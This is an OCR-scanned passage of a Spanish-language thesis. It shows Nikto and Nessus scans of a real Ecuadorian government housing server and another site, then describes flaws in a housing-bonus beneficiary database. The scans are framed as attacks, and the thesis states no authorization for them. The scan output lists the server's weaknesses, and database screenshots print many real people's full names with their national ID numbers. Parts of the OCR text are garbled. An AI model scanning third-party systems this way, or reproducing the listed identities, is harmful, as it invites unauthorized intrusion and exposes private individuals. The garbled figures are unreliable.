todo tipo de pruebas de ataques y vulnerabilidades por medio de una gama de

plugins que vienen instalados.
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Es ademas un excelente punto de partida para verificar que tan seguro es el
servidor web en el que esta actualmente corriendo un sistema importante y que

trabaja con informacion vital para una determinada institucion.

Otra de las ventajas es que trabaja muy bien, tanto en Windows como en Linux,

con una amplia y robusta base de datos de ataques a servidores distintos.

Objetivo para ataque = http://201.219.3.16/
Sintaxis de un escaneo Basico:
Nikto.pl <-host> Direccion_Ip 6 Nombre_de_dominio
Ejemplo 1: http://201.219.3.16/
./nikto.pl -host 201.219.3.16

Para este ejemplo se procedera a escanear el servidor web donde se encuentra
instalado el aplicativo de bonos de vivienda del MIDUVI, el cual se utiliza para el

control y seguimiento de los proyectos de vivienda.

Como se puede visualizar en la siguiente figura, el comando ingresado devuelve

informacion del servidor web al cual se definié anteriormente.

Session Edit View Bookmarks Settings Help

ST

+ 0SVDB-3233: /icons/README: Apache default file found.
+ 3588 items checked: 4 item(s) reported on remote host
+ End Time: 2010-89-23 22:51:10 (422 seconds)

+ 1 host(s) tested
root@bt:
- Nikto v2.1.0

201.219.3.16

+ Target Hostname: 201.219.3.16
+ Target Port: 80
+ Start Time: 2010-09-23 23:15:56

r: Apache
+ 0SVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ 0SVDB-0: DEBUG HTTP verb may show server debugging information
877: HTTP TRACE method is aitive, suggesting the host is vulnerable to XST
I #

Figura 4.20: Escaneo basico utilizando Nikto al host 201.219.3.16.
Fuente: Autor de tesis.

El servidor web luego del analisis presenta pocas vulnerabilidades, pero esto no
quiere decir que esta libre de ataques, sino que deberia implementar tareas de
verificacion de puertos y servicios para de esta manera asegurar el rendimiento y

estabilidad de este equipo.
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Ejemplo 2: Pagina web vulnerable.

La nueva pagina o servidor web escogido es www.xxxxx.xxx.ec (url escondida por

politicas de privacidad), en el cual se procedera a correr varias aplicaciones para

obtener informacién sobre las posibles vulnerabilidades de este servidor.

root@bt: /pentest/scanners/nikto - Shell - Nikto2
Session Edit View Bookmarks Settings Help

roc # ./nikto.pl -host WWW

abt:
> /home/rickfolder/ejemplo. txtll

@& Shell

Figura 4.21: Escaneo a un host remoto para verificar si existe vulnerabilidad.
Fuente: Autor de tesis.

De la misma forma se puede aplicar y analizar la seguridad del host con la ayuda
de la herramienta Nikto, pero a diferencia del ejemplo anterior se generara un
reporte en el cual se detalla las vulnerabilidades encontradas.

root@bt: /home/rickfolder - Shell - Nikto2
Session Edit View Bookmarks Settings Help
: #1ls -la

total 20
drwxr--r-- root 4096 Dec 14 23.:49

drwxr-xr-x root 4096 Sep 25 19:08

-rW-r--r-- root 458 Dec 14 23:49 ejemplo.txt

-MwW-r--r-- root 418& Sep25 21:46 - “o7ouixt
: #

Figura 4.22: Generacion de reporte al archivo "ejemplo.txt", con la descripcion de vulnerabilidades.
Fuente: Autor de tesis.
Luego de abrir el archivo generado por la herramienta de escaneo, se puede
apreciar en la siguiente figura, en resumen de las principales vulnerabilidades con

sus respectivas descripciones para cada una de ellas.

Este escaner realiza varias pruebas exhaustivas que ponen a prueba la seguridad
del servidor web, y a la vez sirve para que un administrador de red y seguridad
puedan analizar cada una de las vulnerabilidades y a la vez puedan trabajar en la

solucion a los problemas mas graves y peligrosos.


http://www.xxxxx.xxx.ec/
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B www. s gulll e - Bloc de notas
Archivo Edicion  Farmato  Yer  Awuda
- Mikto w2.1.0

+ Target IP: 55,154, 210,215

+ Target Hostname: www. . LBC

+ Target Fort: B0

+ Start Time: 20010-09-28 15:09:45

+ Server: Apaches2.0.63 (Unix) mod_s51/2.0.63 openssL/0. 9. 82-Fips-rhels

mod_auth_passthroughs2.1 mod_bwlimited/1.4 FrontPage,5.0.2.2635% PHP/5.2.13
+ 411 oET directories 'found', use '—-C none' to test none

+ OSVDBE-0O: Apaches2.0.63 appears to be outdated Ccurrent is at Teast Apaches2.2.140.
Apache 1.3.41 and 2.0.63 are also current.

+ osvWDE-0: mod_ss1,+2.0.65 appears to he outdated (current s at Teast 2.8.31)

+ OSVDE-0: Mumber of sections in the wversion string differ from those in the database,

the server reports:
0.9.8.101.45.102.105.122.115.45.114.104.101.108. 5 while the database has:
0.9.8.105. This may cause false positives.

+ OSVDE-0: OqenSSL!O.9.8e—fips—rhe15 appears to he outdated (current is at least 0.9.81)

+ 0SWDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSWVDE-877: HTTP TRACE method is active, suggesting the host s vulnerable to xsT

+ OSVDE-637: Enumaration of users is possible by reguesting ~username (responds with
'Forbidden’ for users, 'not found' for non-existent users).

+ OSVDBE-0O: Multiple distinct index files found: #1: dindex.php, index.php3, index.htm,
index. cfm, index.asp, default.asp, default.htm,index.do, #2: index.html

+ OSVDE-O: FrontPage-www. insecure. args/sploits/microsoft. frontpage. insecurities. html

+ OSWDE-0: mod_ss1/2.0.63 openssLy/0.9. 8e-fips-rhels mod_auth_passthrough/2.1
mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.13 - mod_ss1 2.8.7 and
Tower are vulnerahle to a remote buffer overflow which may allow a remote
shell (difficult to exploitl.
http:fjcve.mitre.Dr?jcgi—bin/cvename.cgi?name:CVE—2002—0082, OSWDE-75h.

+ 0SWDB-0: Segi-sysFarmmail. pT: Man¥ versions of Formmail have remote wulnerabilities,
including file access, information disclosure and email abuse.
Formmail access should be restricted as much as possible or a more secure
solution found.

+ OSVDB-O: écgi—sys/guestbook.cgi: May allow attackers to execute commands as the web
aemaon.

+ OSVDE-O: Sogi-sys/Count.cgi: This may allow attackers to execute arbitrary commands
on the server

+ 0SVDB-3233: SmaiTman1istinfo: maiiman was found on the server.

+ OSVDE-3092: Sogi-sysentro ysearch.c?i: pefault CGI, often with a hosting manager of
some sort. Mo known problems, but host managers allow sys admin wia web

+ OSWDE-3092: Acgi-sys/Formmail-clone. cgi: befault CGI, often with a hosting manager of
some sort. Mo known problems, but host managers allow sys admin via weh

+ OSVDE-3092: Sjava-sys/r pefault Java directory should not allow directory Tisting.

+ OSWDE-3092: smanualyss web server manual found.

+ OSWDE-3268: Aicons/: Directory indexing is enabled: Aicons

+ 0SWVDE-3268: SmanualSimages,/: Directory indexing is enabled: /manual/images

+ 3588 items checked: 25 item(s) reported on remote host

+ End Time: 2000-059-26 21:40:07 (9018 seconds)

+ 1 hostis) tested

Figura 4.23: Archivo txt generado con la descripcidn del reporte de escaneo de vulnerabilidades.
Fuente: Autor de tesis.

Esta herramienta es super compleja y potente al referirse a la seguridad de
servidores web. Varias son las alternativas y funciones que presenta este
escaner, entre las principales: escaneo de host, soporte de SSL, técnicas de
mutacion, formatos de presentacion, escaneo personalizado y aplicacion de

plugins.



71

44.2. TESTINGY ESCANEO DE UN SERVIDOR WEB CON LA
HERRAMIENTA NESSUS

Esta herramienta es muy completa, ya que a mas de ser un programa de escaneo
de vulnerabilidades, provee de un cliente y un servidor que manejara y controlara
toda actividad generada por cada una de las maquinas conectadas a Nessus,
obteniendo de esta manera un verdadero sistema de scanning y ataques a
servidores y equipos remotos.

Tiene la facilidad de instalarse en varios sistemas operativos como Linux, BSD,
Solaris, Windows. Estd basado en plugins y permite generar reportes

descargables a medio magnético.

Equipo
Controlador
Windows
Objetivo.
Equipo Remoto
http:201.219.3.16 AWl

= \
5 Internet @
) . VJ Nessus

Equipo
Controlador
BackTrack

Figura 4.24: Diagrama de intrusion a un equipo remoto mediante Nessus.
Fuente: Autor de tesis.

Ejemplo:
Para este ejemplo se realizara un escaneo al siguiente servidor:

http://201.219.3.16

Como se presentd en anteriores ejemplos el servidor 201.219.3.16 aloja una
aplicacion web para el control y seguimiento de bonos de vivienda, lo que se hara
es probar a la herramienta Nessus y verificar si la informacion obtenida es
importante en cuanto a pruebas de seguridad remotas que debe soportar un

servidor seguro que maneja informacién importante.
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4.4.2.1. EQUIPO ATACANTE 1: WINDOWS

El primer paso para lograr un equipo atacante con Nessus es instalar el cliente y
el servidor de Nessus en el sistema operativo Windows, con la ayuda del

instalador se presentara el wizard para completar la instalacion.

Como se puede apreciar en la siguiente figura, primero que nada hay que
configurar el servidor afiadiendo un usuario el cual podra utilizar la herramienta

para el escaneo de cualquier equipo remoto.

List of Nessus users :

| localuser
rick.

[ Start the Nessus server when Windows boots

When enabled, the Nessus server wil be automatically
started by Windows every time the system boots up,

Your scanner is registered and can download new plugins
Update plugins
3 Add/Edit a user

AddjEdit a user

Administrator

server is running.
Stop Nessus Server Start Nessus Serv
Cancel Save

Figura 4.25: Configuracidn del servidor Nessus en Windows luego de su instalacion.
Fuente: Autor de tesis.
Luego de tener un usuario con el cual se puede ingresar a la herramienta se
procede a ejecutar el cliente de Nessus en el cual se ingresara y se visualizara la
interfaz que posee y en la cual se podra obtener resultados muy interesantes y

amigables al usuario como se presenta en la siguiente figura.

Login

<> TENABLE

Transfiriendo datos desde localhost

Figura 4.26: Pantalla principal con el login de Nessus desde el cliente Windows.
Fuente: Autor de tesis.
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Luego de ingresar a la herramienta mediante esta interfaz amigable, se
presentara un menu de opciones donde la mas importante sera la de “Scans”,

pues aqui se realizaran los escaneos a las direcciones deseadas.

J Nessus - Mozilla Firefox

archivo  Editar  Ver Historial Marcadores Herramientas  Ayuda

@ > C X [0 https: iocathost 8834/
> Comenzar a usar Firef... [ BackTrack Linux - Pen... (5) $ad: Redes R mdS.rednoize.com- ... @ cURL: El arte del HTTP...

8 Nessus | B3

rick | Heip | Avout | LDg

@ Upload
Name | Last updated
Sistema Completed Sep 28, 2010 23:21

ETEIET

Transfiriendo datos desde localhost.

Reports

Report Info i 1 results

Name: Sistema | open Port

Last Update: Sep 28, 2010 23:21 A 59 21

Transfiriendo datos desde localhost.

Reports
Report Info 1 results
Name: Sistema Miduvi
Last Update: Sep 27, 2010 23:14 201.219.3.16 17 1 12 1
Transfiriendo datos desde localhost... 2]

Figura 4.27: Pantalla general con el detalle de escaneo a las 2 paginas de la web.
Fuente: Autor de tesis.
Como se puede apreciar en la figura anterior, se ha realizado un scanning a 2
paginas en concreto, si se compara una con otra, lo que resalta a simple vista es
el total de vulnerabilidades de la primera con respecto a la otra, para la pagina
ejemplo existen muchas mas vulnerabilidades que para el sistema de control y

seguimiento de proyectos de vivienda.

Host Remoto: Acceso a escaneo de 24 puertos.

Sistema DNCTSV www.dnctsv.gov.ec
SVC Name ‘ Total | Hi
22 tep ssh 5 0 ) 4 1
53 tep dns 2 0 1 1
53 udp dns 5 0 6 0
80 tcp WWW 7 0 6 1
110 tep pop3 6 0 4 1
11 top sunrpe? 2 0 1 1
143 tep imap 6 0 4 1
443 top www 7 1 4 1
465 top smitp 7 0 5 1
993 tep imap 7 0 8 1
995 tep pop3 F: 0 6 3]
2077 tep trellisagt? 1 0 0 1
2078 tep trellissvr? 1 0 0 1
2082 tep infowave? 1 0 0 1
2083 tcp radsec? 1 0 0 1

Figura 4.28: Detalle de escaneo al host remoto que se tomo como ejemplo.
Fuente: Autor de tesis.
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Sistema MIDUVI: Acceso a escaneo de 4 puertos.

Sistema Miduvi 201.219.3.16
Port A | Protocol SVC Name Total High Medium Low Open Port
0 tep general 5 0 5 0
0 udp general 1 0 0
53 udp dns 3 0 ] 0
80 tcp WWW 8 1 1

Figura 4.29: Detalle de escaneo con la herramienta Nessus a http://201.219.3.16.
Fuente: Autor de tesis.

4.4.2.2. EQUIPO ATACANTE 2: BACKTRACK.

En este caso, el sistema BackTrack no posee instalado esta herramienta por lo

gue se procedera a instalar el paquete de Nessus con el siguiente comando:

Cliente: # apt-get install nessus
Demonio:  # apt-get install nessusd

# Instalacion de Cliente Nessus

Lo que se puede visualizar en la siguiente figura es el proceso de instalacion del

cliente Nessus en BackTrack.

root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

root@bt:-# apt-get install nessus
Reading package lists....Done
Building dependency tree
Reading state information...-Done
The following NEW packages will be installed:
nessus
0 upgraded, 1 newly installed, © to remove and 0 not upgraded.
Need to get 0B/242kB of archives
After this operation, 614kB of additional disk space will be used.
debconf: unable to initialize frontend: Dialog
debconf: (Dialog frontend requires a screen at least 13 lines tall and 31 colum
ns wide.)
debconf: falling back to frontend: Readline
Selecting previously deselected package nessus.
(Reading database ... 229478 files and directories currently installed.)
Unpacking nessus (from .../nessus 2.2.10-3_1386.deb) ...
Processing triggers for man-db ...
Processing triggers for menu ...
Setting up nessus (2.2.10-3) ...

Processing triggers for menu ...
root@bt:~# i

%) | @ Shell |

Figura 4.30: Proceso de instalacion del cliente Nessus con el comando “apt —get install”.
Fuente: Autor de tesis.

# Instalacion de Servidor Nessus

Luego de instalado el cliente se procede a instalar el Demonio de Nessus, que es
este caso sera "nessusd”, pero a diferencia del cliente este si debe ser iniciado y

configurado para que el cliente puede conectarse y dar uso a la herramienta.
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0G]

Session Edit View Bookmar!

root@bht:-# apt-get install nessusd

Reading package lists... Done

Building dependency tree

Reading state information... Done

nessusd is already the newest version.

0 upgraded, 0 newly installed, © to remove and 0 not upgraded.
root@bt:## |

| @ Shell

Figura 4.31: Instalacion del servidor Nessus mediante el comando “apt —get install”.
Fuente: Autor de tesis.

Lo primero sera generar un usuario cliente el cual se creara con el comando:

# nessus-adduser

Como se puede visualizar en la siguiente figura, el usuario que se configurara

sera “root”, en el cual se ingresaran datos de password y sistemas de reglas.

" © @bt: ~ - Shell - K

Session Edit View Bookmarks Settings Help

Login : root

Authentication (pass/cert) [pass] :
Login password :

Login password (again) :

User rules

nessusd has a rules system which allows you to restrict the hosts
that root has the right to test. For instance, you may want

him to be able to-scan his. own host only.

Please see the nessus-adduser(8) man page for the rules syntax

Enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rules set)

Login 1 root
Password 1 KKK R KK
DN s

Rules

Is that ok ? (y/n) [y]
user added.

Figura 4.32: Configuracion de usuarios cliente desde el servidor Nessus instalado.
Fuente: Autor de tesis.
En este momento se puede ejecutar el cliente de Nessus para comenzar el

ataque desde BackTrack.

De la misma forma que se utilizé en entorno Windows, se debe indicar el equipo
al que se va a realizar el ataque ya sea por el nombre de host o por la direccién
IP. Como se explicO anteriormente esta herramienta se basa en ataques con

plugins, los cuales pueden ser escogidos para cada analisis de vulnerabilidades.
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Los reportes generados por la herramienta no son tan amigables como en
Windows pero la ventaja es que el escaneo que realiza es mucho mas minucioso
y preciso, ya que el informe de resultados provee de informacion que si cae en

malas manos podria ser perjudicial al equipo remoto.
Ejemplo = Target: http://201.219.3.16/

En el ejemplo se puede observar las diferentes vulnerabilidades que posee el
servidor escogido como objetivo de ataque, con esta informacion y con la ayuda
de péaginas que aprovechan estas debilidades de seguridad se puede obtener

acceso a servicios e informacion sin autorizacion.

Estas herramientas al parecer son inofensivas, pero si se las conoce a fondo
pueden generar muchos problemas a los administradores de red y seguridad si el

equipo objetivo de ataque fue uno de ellos.

La Unica forma de evitar estos ataques es conociendo los problemas de seguridad
que existen en un determinado servidor para de esta manera modificar las
configuraciones tomando las medidas preventivas necesarias para que no ocurran

estas situaciones.
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5. CAPITULO: ADMINISTRACION Y MANEJO DE LA
INFORMACION.

5.1. PROBLEMAS COMUNES EN EL MANEJO DE LA
INFORMACION.

En la actualidad existen instituciones que no poseen un manejo adecuado de la
informacion que se genera en todos sus procesos.

Esto genera problemas de procesamiento en cuanto a la velocidad de respuesta,
facilidad de acceso y disponibilidad del recurso.

Ademas cuando se cometen errores en cuanto al almacenamiento vy
procesamiento de la misma se obtendra informacion poco util ya que no estara en

condiciones de generar los reportes requeridos.

5.1.1. INFORMACION LIMITADA.

Cuando no se posee informacion necesaria de algin proceso en particular, la
funcionalidad y productividad de la empresa o institucion se va retrasando a
medida que pasa el tiempo. Se puede decir que al tener una base de datos con
pocos registros que cuenta con informacién generalizada, el procesamiento de la
misma se vuelve manejable, no es asi cuando la base de datos a crecido
considerablemente y para poder manejarla se necesitan de las herramientas

adecuadas para procesar miles de registros en cada transaccion.

Ejemplo:

Para este ejemplo se muestra que la informacion que posee la institucion se
reduce a 7 campos, que si bien muestran informacién general sobre los
beneficiarios, no describe detalladamente ni especificamente los parametros de
calificacion, aprobacion, seguimiento de cada una de las personas que recibieron

el bono.
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Tablas - o« Nombre del campo Tipo de datos

5 BonoSolidario27-Ago-07 nom_postulante Texto
ci_postulante Texto

j canton
nom_conyuge Texto

& anton ci_conyuge Texto

T3 d_eliminados provincia Texto

B datos canton Texto

— proyecto Texto

Figura 5.1: Vista modo disefio de la base de beneficiarios del bono de vivienda en Microsoft Access.
Fuente: Autor de tesis.

Como se aprecia en la siguiente figura, se procesan alrededor de 400000
registros aproximadamente pero con datos que no permiten generar reportes
estadisticos, gerenciales, tabulares y detallados. El principal problema es que no
existe un sistema que controle y administre una base de datos centralizada de los

beneficiarios.
EH datos ———

nom_postulante ~ | ci_postul: » |nom_cony ~ | ci_conyuge - |provinc - canton - | proyecto - &
0S50 SULIMA DEL CARMEN] 1308147410 SANTANA DEl 1300969860 GUAYAS ELEMPALME BARBARITA
MIRANDA CHOEZ EULALIA ISABEL 1208800034 GUAYAS ELEMPALME BARBARITA
MONTENEGRO ANDRADE CINTHIA LOF 1308974201 MIRANDA CH 1310185796 GUAYAS ELEMPALME BARBARITA
SANTANA DELGADO ELENA AURORA 1309171278 GUAYAS ELEMPALME BARBARITA
[ Registro: 4« 1 de380549 | b W b [ [ /Buscar Kl m | »

Figura 5.2: Detalle de tabla "datos", que muestra el nimero de registros que posee la tabla.
Fuente: Autor de tesis.

5.1.2. INFORMACION CONFIDENCIAL SIN PROTECCION.

La informacion confidencial sobre los beneficiarios del bono de la vivienda deberia
estar almacenada y respaldada en un equipo que cuente con las debidas normas
de seguridad.

Si no se cuenta con un DBA (Administrador de Base de Datos), que se dedique
exclusivamente al resguardo y cuidado de la misma, tarde o temprano la empresa
0 institucion estar4 lamentandose por posibles pérdidas o alteraciones de

informacion.

Ejemplo:
En el MIDUVI existe informacion sobre los beneficiarios que han recibido el bono
de vivienda, estos registros se alojan en un computador que no cuenta con las

medidas de seguridad adecuadas.
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Si esta “base de datos” llegase a ser cambiada o alterada por alguna persona que
tenga fines maliciosos causaria un gran problema a la institucion pues
actualmente es la unica fuente de informacién en cuanto a personas que han

recibido el beneficio.

= disco_d

Archivo  Edicion  ¥er  Favoritos

e Akrds =

Herramientas  Ayuda

e @ lj; /I__\J Blsqueda i Carpetas

v|Ir

Califidos antes 2009
Carpeka

califidos
Carpeta

Tareas de archivo y carpeta ¥
n

Detalles s

=
-

Todo desde 2009
Carpeta

miduyi
Carpeta
Fecha de modificacidn: Miércoles,
29 de Septiembre de 2010, 15:32

1 objetals) seleccionados :} Mi equipa

Figura 5.3: Carpeta de Windows que aloja la base de datos de beneficiarios del bono de vivienda.
Fuente: Autor de tesis.
En la figura anterior, se aprecia una carpeta de Windows en la cual se aloja la
base de Access con la tabla “nacional” y una pequefa aplicacion desarrollada en
Visual Basic, la cual carga automaticamente la informacion sobre los beneficiarios
del bono de la vivienda, y estos datos son la referencia para saber que las nuevas
postulaciones no se dupliquen y se emita doble beneficio a una persona.

Tablas )« ci_postular ~ nom_postulante - |provin ~| canton ~ proyecto -
0912762358  TOALA REYES CELINDA MARGARIT/ GUAYAS EMPALME  ELCARMELO 1
75 BonoSolidario27-Ago-07 0913628640  PINCAY GUERRERO JORGE EDUART GUAYAS EMPALME  ELCARMELO1
1301851851 COBENA INTRIAGO JUAN FRANCIS GUAYAS EMPALME  ELCARMELO 1
&5 canton 0901773093 MENA TOSCANO SEGUNDO RAFAE GUAYAS EMPALME  ELCARMELO 1
0910429257 MUNOZ LEON MARY FLOR GUAYAS EMPALME  ELCARMELO1
& cantont 1712979804  MARTINEZ BAJANA JULIETA VIRGI GUAYAS EMPALME  ELCARMELO 1
o 0501248942  ALVAREZ NEPTALI ERIBERTO COTOPA> PUILI EL TEJAR LA VICTORIA
=] d_eliminados 0500947007  ALVAREZ SUAREZ MARIA CLAUDIN. COTOPA> PUJILI ELTEJAR LA VICTORIA
£ datos 0501618417  ALVAREZ VARGAS JOSE ALBERTO COTOPA> PUJILI EL TEJAR LA VICTORIA
1705060026  BASTIDAS VALARESO SEGUNDO BR COTOPA) PUJILI EL TEJAR LA VICTORIA
B3 provincia 0500618384 CALERO MIGUEL ANGEL COTOPA> PUILI EL TEJAR LA VICTORIA
0501366942  CHILUISA CANDO JOSE EUGENIO  COTOPA» PUJILI EL TEJAR LA VICTORIA
£ provincial 0502005564  CHILUISA CANDO MARIA TARGELIZ COTOPA> PUJILI EL TEJAR LA VICTORIA
0502005556  CHILUISA CANDO MARTHA CECILIA COTOPA» PUJILI EL TEJAR LA VICTORIA
& proyecto 0502374668  CHULUISA CANDO MIRIAN PATRIC| COTOPA> PUJILI EL TEJAR LA VICTORIA
0501736821  CHULUISA QUISHPE ROSA JUDITH COTOPA> PUJILI EL TEJAR LA VICTORIA
= repetido 0500839899  CORRALES OSORIO JOSE RAUL COTOPA> PUJILI EL TEJAR LA VICTORIA
= resBono Solidario16-05-... 0501645477  CRUZ SANTO PEDRO PABLO COTOPA) PUJILI EL TEJAR LA VICTORIA
0500691944  DIAS QUISHPE JOSE ALBERTO COTOPA» PUJILI EL TEJAR LA VICTORIA

Figura 5.4: Registros de Microsoft Access donde se almacenan los registros de beneficiarios.

Fuente: Autor de tesis.
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Estos datos son cargados automaticamente a una tabla “datos” la cual va
afiadiendo los registros que son enviados por las unidades técnicas provinciales
de todo el pais y la cual sirve como “base nacional” para validar duplicidad con

cualquier otro beneficio que otorga en MIDUVI.

5.1.3. BASE DE DATOS NO RELACIONAL SIN CODIFICACION.

Las bases de datos relacionales proveen de varias ventajas si se las compara con
matrices de datos planas que actualmente se utilizan en algunas instituciones.

Es cierto que herramientas como el Excel permiten manejar datos de una manera
ordenada y organizada, pero si los datos aumentan rapidamente segun los
procesos que se lleven en una empresa o institucién se vuelve realmente dificil y
problematico tener un control mediante hojas planas o matrices de datos no

relacionales.

Es asi que en el MIDUVI, se tiene una base plana o matriz de datos no relacional
sin codificacion, y esta es la causa del problema al tratar de generar reportes

tabulados por provincia, canton y parroquia.

Para ver con un ejemplo este problema se realizara una consulta SQL a la tabla
“datos”, en la cual consta la informacién sobre los incentivos de vivienda que
otorga el MIDUVI.

=21 verProvincias - B X

SELECT provincia A
FROM datos
GROUP BY provincia;

Figura 5.5: Vista de diseiio de la consulta SQL a ser generada para extraer las provincias.
Fuente: Autor de tesis.

Como se aprecia en la figura anterior se realiz6 un SELECT a la tabla datos
agrupandolos por provincia. Para un caso normal el resultado seria los nombres

de las 24 provincias que contiene el Ecuador.



El resultado que devolvio la consulta es la siguiente:

Tablas

o] [R50

cantan

datos

(]

BonoSolidario27-Ago07

cantonl

d_eliminados

datos_ErroresDeExportacian
Errores de pegado

praovincia

provincial

proyecto

repetido

resBono Solidariol8-05-2005

'ﬁj verProvincias =

provincia

AGUARICO
AZUAY
AZYAY
BOLIVAR
CA?AR
CAYAR
CANAR
CARCHI
CHIMBORAZO
CHIMBORAZQ

Registro: 4 £1de 733 » #

Figura 5.6: Resultado de la consulta SELECT agrupada por provincias de la tabla datos.
Fuente: Autor de tesis.
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El nimero de registros fue de 73 nombres de provincias, cada una de ellas difiere

por algun caracter especial, nimeros, orden de letras, tildes, abreviaturas y hasta

se visualiza nombres de cantones que han ingresado en la columna de provincias.

Otro ejemplo se aprecia en la siguiente figura, que para la provincia de SANTO
DOMINGO DE LOS TSACHILAS, se tiene una variedad de nombres al ser la

provincia entre todas del Ecuador que posee mas caracteres en su nombre.

nem_postulante ~1 | ci_postula -t nom_conyuge - |ci_conyug -
PALACIOS COLON ASISCLO 1709839078 LUCAS PALACIOS 1308069945
PARDO JULIA AMANDA 1707699871
PAREDES HOLGUER RENE 1708991441

PAREDES MARIA LIVIA AMERICA 1801050004
PINARGOTE ROSA RAMONA 1711073724

SALAZAR HILDA GLORIA 1710397413
SIGUENZA BLANCA ROSA 1705364949
TUBAY GABRIEL PATRICIO 1301586135
ULLAGUARI MARIA LASTENIA 1709704249
VEGA MARIA CARMEN 1101833901
VERA MERCEDES EDILMA 1305814707
VITERI VICTOR MANUEL 1701845784

ABAD CORREA LUZ AMERICA 1707942437
ABRIL NARANIO NANCY MARIBEL 1714181037
ABRIL PARCO EVA MARIA 1717052771
ACARO AREVALO ANGELA 1703222222
ACARO COFRE MARIANA DE JESU: 1709967200
ACOSTA VEGA LERIDA MERCEDES 1306407675

Figura 5.7: Tabla nacional mostrando los errores en la provincia de Santo Domingo de los Tsachilas.

RAMOS MAYOR( 1800429209

BALSECA CASTEL 1706114509

CHEZA TARAPUE 1001310547

CHIPANTIZA ASE 1706150578

MONAR YANEZ J 1719617670

ORDOREZ MORZ 1101571065
BASURTO GILER . 1305172866

provincia -

SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO

SANTO DOMINGO

SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS TSACHILAS
SANTQ DOMINGO

SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO

SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS TSACHILAS
SANTO DOMINGO DE LOS

SANTO DOMINGO

SANTO DOMINGO

SANTO DOMINGO

SANTO DOMINGO DE LOS TSACHILAS

Fuente: Autor de tesis.

canton -
STO.DOMINGO
SANTO DOMINGO
SANTO DOMINGO
STO.DOMINGO
STO.DOMINGO
SANTO DOMINGO
STO.DOMINGO
SANTO DOMINGO
STO.DOMING
STO.DOMINGO
STO.DOMINGO
STO.DOMINGO
STO.DOMINGO
SANTO DOMINGO
SANTO DOMINGO
SANTO DOMINGO
SANTO DOMINGO
STO.DOMINGO

pr
CHILA RIO BUA
LAS MERCEDES GRL
EL ESFUERZO I / 09
SANTA MARIANITA
LUZ DEL DIA
BELLAVISTA I-09 SA
ALLURIQUIN
ELESFUERZO 1 /09
LOS PALMITOS
LUZ DEL DIA
LA VILLEGAS G#1-2
LA VILLEGAS G#1-2
SANTA MARIANITA
URBANA CORTEZ 2(
BELLAVISTA I-09 SA
EL PLACER DELTOA
EL PLACER DELTOA
LUZ DEL DIA

Este problema se genera principalmente por 2 razones, la primera es que no

existe un procedimiento de validacion de datos y la segunda es porque no existe

un sistema de gestion y control que trabaje con codigos y tablas relacionales

como se aprecia en la siguiente figura.
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thregionnatural
thprovincia =
i i prov._region C REGIONNAT CCD
C PROVINCIA 1D <pi> C_REGIONNAT_DETALLE
C_PROVINCIA_NOMBRE Identifier_1  <pi>
Identifier_1  <pi=
prov_canton

thcanton

C_CANTON D <pi>
C_CANTON_CCD
C_CANTON_NOMERE

Identifier 1 <pi datos

ci_postulante <ai>
canton_parr datos_parroguia apellidoa_postulante
apellidob_postulante

nom_postulante
thparroguia ¢i_conyuge
C PARROQUIA 1D =pi= nam_conyuge
C_PARROQUIA_COD apellidoa_conyuge
C_PARROQUIA_NOMBRE apellidob_conyuge
C_PARROGUIA_ DETALLE c_parroguia_id_ In
Identifier 1 <pi= Identifier 1 <ail>

Figura 5.8: Diagrama entidad relacion que se deberia implementar en la tabla datos.
Fuente: Autor de tesis.

Para el caso de bonos de vivienda, se deberia trabajar con la DPA (Division
Politica Administrativa) actualizada por el INEC, para la codificacién de provincias,
cantones y parroquias. La figura anterior muestra el esquema que se podria
adoptar para solucionar el problema actual.

En la siguiente tabla, se muestra un resumen detallado con los nombres de
provincias que existen en la tabla “datos”, en la cual se visualizan registros

distintos que se refieren a una misma provincia.

CAMPO PROVINCIA CAMPO CANTON CAMPO NOMBRE DEL PROYECTO
AGUARICO MUSHU RUNA

AZUAY CUENCA MAYANCELA/2009

AZYAY CUENCA SIV-MAGISTERIO-2009-NP
BOLIVAR GARANDA QUIVILLUNGO

CA?AR AZOGUEZ SIV-VIVIENDA NUEVA
CANAR LA TRONCAL COCHANCAY

CARCHI MIRA URBANO4TOCORTEO8
CA¥AR CARAR SIV

CHIMBORAZO COLTA ROEOPAMBA CENTRO
CHIMBORAZO GUAMOTE SAN ANTONIO DE GUAMOTE
COTOPAXI PUJILI EL TEJAR LA VICTORIA
DAULE GUAYAS LA PATRIA ES DE TODOS
EASMERALDAS QUININDE VILLEGAS |

EL ORO BALSAS BELLAMARIA

ESMERALDAS ESMERALDAS SANCARLOS

FRANCISCO DE ORELLANA LORETO HUATICOCHA

FRCO. DE ORELLANA ORELLANA URBANO4TOCORTEO8
GALAPAGOS SANTA CRUZ UNION DEL PUEBLO
GUAYAQUIL NARANJAL TAURA 1

GUAYAS EMPALME EL CARMELO 1

GUAYAS. YAGUACHI UNIDOS VENCEREMOS
IMBABURA COTACACHI DOMINGO SABIO 2

LOJA PALTAS EL TRIUNFO-NARANJILLO
LOSRIO PUEBLOVIEJ RAFAEL CORREA

LOS RIOS MOCACHE EL TRIUNFO MACULILLO
M.SANTIAGO PALORA 16-Ago
MANABI PORTOVIEJO FIDEICOMISO - ORQUIDEAS |
MANBI CHONE FIDEICOMISO - SEIS DE DICIEMBRE
MORONA LOGRONO SANTIAGO TUKUP

MORONA SANTIAGO HUAMBOYA PURIZIMA

MORONA S SANTIAGO TAYUSA

MORONAS. MORONA MUSAP

MORONA SAN MORONA UNT WICHIM
MORONASANT MORONA RIO BLANCO |1

MORONA SANTIAGO SUCUA URBANOATOCORTEO8

Tabla 5.1: Detalle de provincias existentes en la tabla datos. Parte 1.
Fuente: Autor de tesis.



CAMPO PROVINCIA CAMPO CANTON CAMPO NOMBRE DEL PROYECTO
NAPO EL CHACO URBANO4TOCORTEO8

NO DELIMITADAS LA CONCORDIA SIV-MEJORAMIENTO
ORELLANA FCO. DE OR DAYUMA 2

